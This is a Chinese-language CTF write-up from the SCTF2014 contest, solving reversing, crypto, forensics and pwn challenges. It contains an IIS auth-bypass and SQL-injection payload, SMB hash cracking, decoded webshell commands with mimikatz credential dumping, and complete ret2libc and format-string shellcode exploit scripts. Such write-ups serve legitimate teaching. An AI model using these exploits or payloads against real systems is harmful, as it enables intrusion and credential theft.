SCTF2014 Writeup

Team:0xFA


Misc10 (10pt)

手持两把锟斤拷,口中疾呼烫烫烫
下联是什么呢?

flag:脚踏千朵屯屯屯,笑看万物锘锘锘(全角逗号)

Re50 (50pt)

拖入IDA:

.text:0000000000400772                 mov     eax, [rbp-48h]  ; 计数
.text:0000000000400775                 cdqe
.text:0000000000400777                 movzx   eax, byte ptr [rbp+rax-40h] ; 取出用户名
.text:000000000040077C                 add     eax, 3          ; 每一位加3
.text:000000000040077F                 mov     edx, eax
.text:0000000000400781                 mov     eax, [rbp-48h]
.text:0000000000400784                 cdqe
.text:0000000000400786                 mov     [rbp+rax-20h], dl
.text:000000000040078A                 add     dword ptr [rbp-48h], 1
.text:000000000040078E
.text:000000000040078E loc_40078E:                             ; CODE XREF: .text:0000000000400770j
.text:000000000040078E                 mov     eax, [rbp-48h]
.text:0000000000400791                 cmp     eax, [rbp-44h]
.text:0000000000400794                 jl      short loc_400772 ; 计数
.text:0000000000400796                 lea     rdx, [rbp-20h]
.text:000000000040079A                 lea     rax, [rbp-30h]
.text:000000000040079E                 mov     rsi, rdx
.text:00000000004007A1                 mov     rdi, rax
.text:00000000004007A4                 call    _strcmp         ; gdb调试看到是与Jr3gFud6n比较
.text:00000000004007A9                 test    eax, eax        ; 所以key是Jr3gFud6n每一位减去3. Go0dCra3k
.text:00000000004007AB                 jz      short loc_4007B4
.text:00000000004007AD                 mov     eax, 0
.text:00000000004007B2                 jmp     short loc_4007CF
.text:00000000004007B4 ; ---------------------------------------------------------------------------
.text:00000000004007B4
.text:00000000004007B4 loc_4007B4:                             ; CODE XREF: .text:00000000004007ABj
.text:00000000004007B4                 lea     rax, [rbp-40h]
.text:00000000004007B8                 mov     rsi, rax
.text:00000000004007BB                 mov     edi, offset aTheFlagIsSctfS ; "The flag is SCTF{ %s}\n"
.text:00000000004007C0                 mov     eax, 0
.text:00000000004007C5                 call    _printf

flag:SCTF{Go0dCra3k}

Pt100 (100pt)

根据题目页面的提示,需要找到后台,经过一番手动测试,发现存在 /admin 目录,但是需要验证。后来从exploit-db上找到了by pass的方法-microsoft iis 6.0 and 7.5 - Multiple Vulnerabilities

直接访问http://gintama.sycsec.com/admin::$INDEX_ALLOCATION/index.php可以绕过验证,然后就是注入by pass登陆了。id被限制为4位,并且输入'被提示WTF,这里使用一个mysql查询中的一个trickselect * from user where id=''<1 or select * from user where id=''=0,然后构造payload:

http://gintama.sycsec.com/admin::$INDEX_ALLOCATION/index.php?id=%27%3D0%23&password=%27%3D0%23    
    (or)
http://gintama.sycsec.com/admin::$INDEX_ALLOCATION/index.php?id=%27%3C1%23&password=%27%3C1%23

可以成功by pass,得到flag。

flag:SCTF{Bypass_Auth_aNd_Easy_SQLi}

Code200 (200pt)

题目要求每次只能存2^i(i为偶数)或者取2^i(i为级数),0<=i<=99且每个i值只能出现一次,要求给出一个整数数,给出一组存取序列。

此题转换为二进制来求解:

正数:
    从低位往高位遍历,当偶数位为1时,直接记录i值(需存的值);
    遇到奇数位i值为1,将原值加上2^i再减去2^i,记录i值(需取的值);
    若为0继续遍历,直至完毕。

负数:
    从低位往高位遍历,当偶数位为1时,将原值加上2^i再加上2^i,记录i值(需存的值);
    遇到奇数位i值为1,记录i值(需取的值);
    若为0继续遍历,直至完毕。

给出代码 code200.py

#!/usr/bin/env python
# coding=utf-8

import socket


def calc(purpose):
n = int(purpose)
if n > 0:
n_bin = bin(n)[2:]
else:
n_bin = bin(n)[3:]

r_list = []
if n > 0:
i = 0
while i < n_bin.__len__():
if n_bin[n_bin.__len__()-i-1] == '1':
if i % 2 != 0:
r_list.append(i)
n += 2**i
n_bin = bin(n)[2:]
else:
r_list.append(i)
i += 1
else:
n = abs(n)
i = 0
while i <= n_bin.__len__():
if n_bin[n_bin.__len__()-i-1] == '1':
if i % 2 == 0:
r_list.append(i)
n += 2**i
n_bin = bin(n)[2:]
else:
r_list.append(i)
i += 1

r_list.sort(reverse=True)
result = ''
for i in r_list:
result += str(i) + ' '

return result


if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('218.2.197.248', 10007))

while True:
buf = s.recv(1024)
print buf

n = buf
answer = calc(n)
print 'Answer: %s' % str(answer)
s.send(answer + '\n')

flag:SCTF{h3I_r0xFmQw1pT2v}

Code400 (400pt)

万恶的出题者,题目给了个奇怪的脚本:

import json
import hashlib
import os
import base64
from Crypto.Cipher import AES

fp = open("secret.json", "r")
secret = json.load(fp)
fp.close()

if type(secret["the answer to life the universe and everything"]) != type(u"77"):
destroy_the_universe()

answer = hashlib.sha1(secret["the answer to life the universe and everything"]).hexdigest()[0:16]
key = hashlib.sha1(secret["Don't google what it is"]).digest()[0:6]

if ord(key[4])*(ord(key[5])-5) != 17557:
destroy_the_universe()

keys = ["hey"+key[2]+"check"+key[3]+"it"+key[0]+"out",
"come"+key[1]+"on"+key[4]+"baby"+key[5]+"~~!"]
answer = AES.new(keys[1], AES.MODE_ECB).encrypt(AES.new(keys[0], AES.MODE_ECB).encrypt(answer))

if base64.b64encode(answer) == "fm2knkCBHPuhCQHYE3spag==":
fp = open("%s.txt" % hashlib.sha256(key).hexdigest(), "w")
fp.write(secret["The entrance to the new world"])
fp.close()

明显是要爆破,首先算出两组 key[4]&key[5] 的值,分别为 97&186181&102

然后暴力破解key的前四位,这里 secret["the answer to life the universe and everything"] 的值不太重要(虽然我知道他是u”42”),直接每一次通过base64值逆算出的 answer 符合所有字符在 [a-f0-9] 的范围就行了(因为取的是sha1的hex)。

这里不得不吐槽了,总共两组情况,rp爆发的我选择了正确的一组开始爆破,爆了10+小时终于出key(要是rp差了那不哭死)。这里情不自禁地贴出爆破的截图:

img

最后得到 key = '\x81\x69\x37\x88\x61\xba',然后通过原始脚本得到最后创建的文件名 5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4.txt,纠结半天的sha256值。最后发现该文件位于 http://download.sycsec.com/code/code400/5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4.txt,得到第二个tips:

Welcome to the new world!

Mallory把Alice给Bob的钱藏在了一个神秘的地方,还把地址加密,然后带着密钥,坐黄金之心离开了!

没有密钥的plusplus7用黑科技复原了一部分明文,然后打麻将去了,所以剩下的就交给你啦!

P.S.听说您很会暴力破解:)

====== Base64格式密文 ======
Or18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E6vXz/FILbFbmlPsEtsgTtg8YvBbK1tmzG6kynjDqJprRC+1hlQx5+R/jfCbNHfox6QebbfCAjhu4gksaTubuBOr18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E=


====== 藏宝地址 ======
*****n**M****H***j***Wx*******d************h*****3****=*******==******t**F**M**f***hM************3***H*w**J*********=**==*******U******E**95**V*c*N****5**t*M*****J*c*Q*****c*h5**0******==*==****NUR*******************X2*u*H**Y************G**P****=***********0*****************************f***5****OX*********=*******=****

用base64解密那串Base64格式密文,发现是5组64位长的相同字串(共320位),同时发现藏宝地址也为320位。纠结许久,发现将藏宝地址以64位一组分为5组然后叠在一起,可以合成一个不含*的base64编码后的字符串:

*****n**M****H***j***Wx*******d************h*****3****=*******==
******t**F**M**f***hM************3***H*w**J*********=**==*******
U******E**95**V*c*N****5**t*M*****J*c*Q*****c*h5**0******==*==**
**NUR*******************X2*u*H**Y************G**P****=**********
*0*****************************f***5****OX*********=*******=****

||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

U0NURntEMF95MHVfcjNhMWx5X2tuMHdfY3J5cHQwOXJhcGh5P30=============

最后base64解码U0NURntEMF95MHVfcjNhMWx5X2tuMHdfY3J5cHQwOXJhcGh5P30=============得到flag。

flag:SCTF{D0_y0u_r3a1ly_kn0w_crypt09raphy?}

Misc300 (300pt)

从仅有的几个数据包里找到smb的认证过程。从中提取出服务端的challenge: 0x1122334455667788,以及客服端发出的认证请求中加密过的密码hash-9e94258a03356914b15929fa1d2e290fab9c8f9f01999448013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475

然后根据看雪上的一篇文章《【原创】实验:SMB抓包破解windows登陆密码》,使用彩虹表跑出明文的前7个字节NETLMIS,再使用msf下的辅助工具halfsecond.rb跑出后面部分:

➜  tools  ruby halflm_second.rb -n "9e94258a03356914b15929fa1d2e290fab9c8f9f01999448" -p "NETLMIS"
[*] Trying one character...
[*] Trying two characters (eta: 1.964212417602539 seconds)...
[*] Trying three characters (eta: 449.80464363098145 seconds)...
[*] Cracked: NETLMIS666

最后使用 netntlm.pl 对明文进行大小写还原:

➜  run.linux.x64.mmx  perl netntlm.pl --seed "NETLMIS666" --file hash


###########################################################################################
The following LM responses have been previously cracked:

The following NTLM responses have been previously cracked:
    sysclover:NetLMis666:ROOT-53DD5327BC:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475:1122334455667788


###########################################################################################
Isolating accounts which have only had their LM response cracked.
Account sysclover NTLM response previously cracked.


###########################################################################################
Testing seed password to determine whether it is the actual password.
Loaded 1 password hash (NTLMv1 C/R MD4 DES (ESS MD5) [32/64])
No password hashes left to crack (see FAQ)


###########################################################################################
The hashes contained within /tmp/john.6879/john.passwd have not been cracked.
Executing the following (this could take a while...):

john -format:netlm -config:/tmp/john.6879/john.conf -external:HalfLM -incremental:LM -session:/tmp/john.6879/john.session /tmp/john.6879/john.passwd

 *If the passwords successfully crack, use this script again to crack the case-sensitive password
 without feeding a seed password


No password hashes loaded (see FAQ)

最终得到明文密码:NetLMis666

flag:SCTF{NetLMis666}

Misc400a (400pt)

题目要求从攻击流量中找到LateRain的明文密码(>_<又是找密码)。分析了半天,看到了有一些http数据包,然后分析这些http数据,发现follow第1840个数据包,攻击者copy了一个funnydata文件为1.gif

POST /config.php HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 136.0.217.252
Referer: http://192.168.30.170
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.30.170
Content-Length: 685
Connection: Close

yo=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJmNvcHkgXFwxOTIuMTY4LjMwLjE4NFxDJFx3aW5kb3dzXHRhc2tzXGZ1bm55ZGF0YSAuXGJhY2t1cFwxLmdpZiZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

对post的参数进行部分还原,得到关键命令:

cd /d "c:\\inetpub\\wwwroot\\"&copy \\\\192.168.30.184\\C$\\windows\\tasks\\funnydata .\\backup\\1.gif&echo [S]&cd&echo [E]    

然后follow第 10054 个数据包,发现攻击者通过webshell压缩了该 1.git

POST /config.php HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 136.0.217.252
Referer: http://192.168.30.170
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.30.170
Content-Length: 733
Connection: Close

yo=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJkM6XHByb2dyYX4xXFdpblJBUlxyYXIgYSBDOlxJbmV0cHViXHd3d3Jvb3RcYmFja3VwXHd3d3Jvb3QucmFyIEM6XEluZXRwdWJcd3d3cm9vdFxiYWNrdXBcMS5naWYgLWhwSkpCb29tJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

对post的参数进行部分还原,得到关键命令:

cd /d "c:\\inetpub\\wwwroot\\"&C:\\progra~1\\WinRAR\\rar a C:\\Inetpub\\wwwroot\\backup\\wwwroot.rar C:\\Inetpub\\wwwroot\\backup\\1.gif -hpJJBoom&echo [S]&cd&echo [E]

压缩 C:\\Inetpub\\wwwroot\\backup\\1.gifC:\\Inetpub\\wwwroot\\backup\\wwwroot.rar,且密码为 JJBoom(真有意思)。然后follow第 17729 个数据包(rar传输数据),将其另存为 1.rar,然后解压(输入密码)得到 1.gif

然后用 binwalk 检测 1.gif,发现 filesystem 标志,因题目要求得到 LateRain 的明文密码,此文件为系统内存dump。果断拿出神器 mimikatz 对此内存dump进行密码抓取:

mimikatz# sekurlsa::minidump 1.gif
Switch to MINIDUMP : '1.gif'

mimikatz# sekurlsa::logonpasswords full
Opening: '1.gif' file for minidump...

......(内容太多)

Authentication Id : 0 ; 121646 (00000000:0001db2e)
Session           : Interactive from 1
User Name         : LateRain
Domain            : WIN-ROK9845EF0T
SID               : S-1-5-21-3188298242-3960807603-4078454493-1000
    msv :    
     [00000003] Primary
     * Username : LateRain
     * Domain   : WIN-ROK9845EF0T
     * NTLM     : b88655ae45a33a9f3a960fe49e3de92a
     * SHA1     : 1acb8ded2afb6012fa3d7a4fc44ec87dc25dad57
    tspkg :    
     * Username : LateRain
     * Domain   : WIN-ROK9845EF0T
     * Password : <TAB><SPACE>     
    wdigest :    
     * Username : LateRain
     * Domain   : WIN-ROK9845EF0T
     * Password : <TAB><SPACE>     
    kerberos :    
     * Username : LateRain
     * Domain   : WIN-ROK9845EF0T
     * Password : <TAB><SPACE>     
    ssp :    
    credman :    

......(内容太多)

然后得到LateRain的密码<TAB><SPACE>(5个空格)。

flag:SCTF{<TAB><SPACE> }(5个空格)

Misc400b (400pt)

给了一张png妹子,一番binwalk和各种检测没有发现明显的异常。在仔细分析png各个块数据后,发现最后一个IDAT有异常,将其扣出用zlib解压,得到625bytes的一串二进制字串。因刚好有625位长,所以想到将其转化为一个25x25的点阵图(二维码),附代码:

#!/usr/bin/env python
# coding: utf-8

from PIL import Image, ImageDraw, ImageFilter


content = '1111111000100001101111111100000101110010110100000110111010100000000010111011011101001000000001011101101110101110110100101110110000010101011011010000011111111010101010101111111000000001011101110000000011010011000001010011101101111010101001000011100000000000101000000001001001101000100111001111011100111100001110111110001100101000110011100001010100011010001111010110000010100010110000011011101100100001110011100100001011111110100000000110101001000111101111111011100001101011011100000100001100110001111010111010001101001111100001011101011000111010011100101110100100111011011000110000010110001101000110001111111011010110111011011'

width = 25
height = 25

img = Image.new('RGB', (width, height), (255, 255, 255))
draw = ImageDraw.Draw(img)

index = 0
for y in range(height):
for x in range(width):
if content[index] == '1':
draw.point((x, y), fill=(0, 0, 0))
else:
draw.point((x, y), fill=(255, 255, 255))

index += 1

img.save('qrflag.bmp', 'bmp')
img.show()

得到一张二维码,扫一下即可拿到flag。

flag:SCTF{(121.518549,25.040854)}

Pwn200 (200pt)

先看IDA中,F5之后为:

ssize_t __cdecl sub_80484AC()
{
ssize_t result; // eax@3
char v1; // [sp+1Ch] [bp-9Ch]@1
int buf; // [sp+9Ch] [bp-1Ch]@1
int v3; // [sp+A0h] [bp-18h]@1
int v4; // [sp+A4h] [bp-14h]@1
int v5; // [sp+A8h] [bp-10h]@1
size_t n; // [sp+ACh] [bp-Ch]@1

n = 16;
buf = 0;
v3 = 0;
v4 = 0;
v5 = 0;
memset(&v1, 0, 0x80u);
write(1, "input name:", 0xCu);
read(0, &buf, n + 1); //取的是buf的地址,在堆栈中,可写入17个字节,刚好可以把n覆盖了。
if ( strlen((const char *)&buf) - 1 > 9 || strncmp("syclover", (const char *)&buf, 8u) ) //用'syclover'+'\x00'+'A'*(16-9)+'\xff' 就可以绕过这个验证继续往下走,并且n为255了。
{
result = -1;
}
else
{
write(1, "input slogan:", 0xEu);
read(0, &v1, n); //n已经被覆盖读入n个字节写到V1处,造成溢出
result = write(1, &v1, n); //打印
}
return result;
}

其中在V1也是在堆栈上的,大小原本是9C-1C=0x80,现在可以读入255,造成溢出,覆盖掉ret,便可控制程序流程。

程序没有可写可执行的段,堆栈也不能执行,主办方给了个libc,然后~就ret2libc。

先控制ret去leak得到got地址,再通过偏移拿到system()地址。然后构造参数,执行system(‘/bin/sh’);

给出exp:

from zio import *
import sys
import time

host = '218.2.197.248'
#host = '127.0.0.1'
port = 10001
io = zio((host, port), print_read=False, print_write=False)

payload = 'syclover' + '\x00' + 'A'*(16-9) + '\xff'
io.write(payload)
io.read_until(':')

payload2 = 'B'*160 + l32(0x80483a0) + l32(0x80484ac) + l32(1) + l32(0x804985C) +l32(4)
io.write(payload2)

print io.read(1)
libc_addr = l32(io.read(26)[14:18])

#remote
sys_addr = libc_addr + 0x26050
bin_addr = libc_addr + 0x147B78

#local
'''
sys_addr = libc_addr + 0x22610
bin_addr = libc_addr + 0x11AF6A
'''

print libc_addr
print sys_addr

io.read_until(':')

io.write(payload)
io.read_until(':')

payload2 = ('C')*160 + l32(sys_addr) + l32(bin_addr)*2+ '\x00'*20
#time.sleep(10)
io.write(payload2)
#print io.read(1000)
io.interact()

flag:SCTF{SH3NG_4_KAN_DAN__BU_FU_9_GANN}

Pwn300 (300pt)

溢出点在:

int __cdecl print_msg()
{
int result; // eax@1
char dest; // [sp+1Ch] [bp-40Ch]@1
int v2; // [sp+41Ch] [bp-Ch]@1

v2 = *MK_FP(__GS__, 20);
strcpy(&dest, src);
printf("Your message is:");
printf(src); //这里
result = *MK_FP(__GS__, 20) ^ v2;
if ( *MK_FP(__GS__, 20) != v2 )
__stack_chk_fail();
return result;
}

printf(src)可产生格式化字符串攻击。

那么就可以控制EAX和EDX,是MOV [EAX],EDX。那,就先把got上exit的地址换为:

.bss:08049180                         ; char src[1024]

而刚好08049000这个段是可写可执行的。so:

  1. 利用格式化溢出把got上的exit换为08049180
  2. 最后一次leave_msg时,写入shellcode
  3. 选4,触发shellcode

其实,格式化字符串玩的少,平时也就用%x玩玩的。

所以,第一个版本exp是:

#linux/x86/exec - 43 bytes
shellcode = "\x29\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xb3\x55\x29\xcd\x83\xee\xfc\xe2\xf4\xd9\x5e\x71\x54\xe1\x33\x41\xe0\xd0\xdc\xce\xa5\x9c\x26\x41\xcd\xdb\x7a\x4b\xa4\xdd\xdc\xca\x9f\x5b\x5d\x29\xcd\xb3\x7a\x4b\xa4\xdd\x7a\x5a\xa5\xb3\x02\x7a\x44\x52\x98\xa9\xcd"
ADDR = 0x08049120   #Exit_Got_addr
xxx = '%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%.13451633x%.13451633x%.13451633x%.13451633x%.13451633x%.13451633x%.13451633x%.13451633x%.13451657x%.13451690x%n'
payload = shellcode + xxx + l32(ADDR) + '\n'

执行一次得很久很久,后来本地成功了,但远程不行,就换了另一个:

exp.py

from zio import *
import sys
import time

#host = '218.2.197.248'
host = '127.0.0.1'
port = 10002
io = zio((host, port), print_read=False, print_write=False)

def write_val(val):
print io.read_until('choice:')
io.write('2\n')
print io.read_until('message')
io.write(val +'\n')
print io.read_until('choice:')
io.write('3\n')

#linux/x86/exec - 43 bytes
shellcode = "\x29\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xb3\x55\x29\xcd\x83\xee\xfc\xe2\xf4\xd9\x5e\x71\x54\xe1\x33\x41\xe0\xd0\xdc\xce\xa5\x9c\x26\x41\xcd\xdb\x7a\x4b\xa4\xdd\xdc\xca\x9f\x5b\x5d\x29\xcd\xb3\x7a\x4b\xa4\xdd\x7a\x5a\xa5\xb3\x02\x7a\x44\x52\x98\xa9\xcd"

val = 0x08049180
set1 = l32(0x08049120)+'%%%dc' % ((val & 0xff) - 4) + '%7$hhn'
set2 = l32(0x08049121)+'%%%dc' % ((val>>8 & 0xff) - 4) + '%7$hhn'
#因为高位原本的值就是0804所以,只需要写两位就行了

write_val(set1)
write_val(set2)
write_val(shellcode)
print io.read_until('choice:')
#time.sleep(10)

io.write('4\n')
#print io.read(100)
io.interact()

flag:SCTF{ZQzq2617}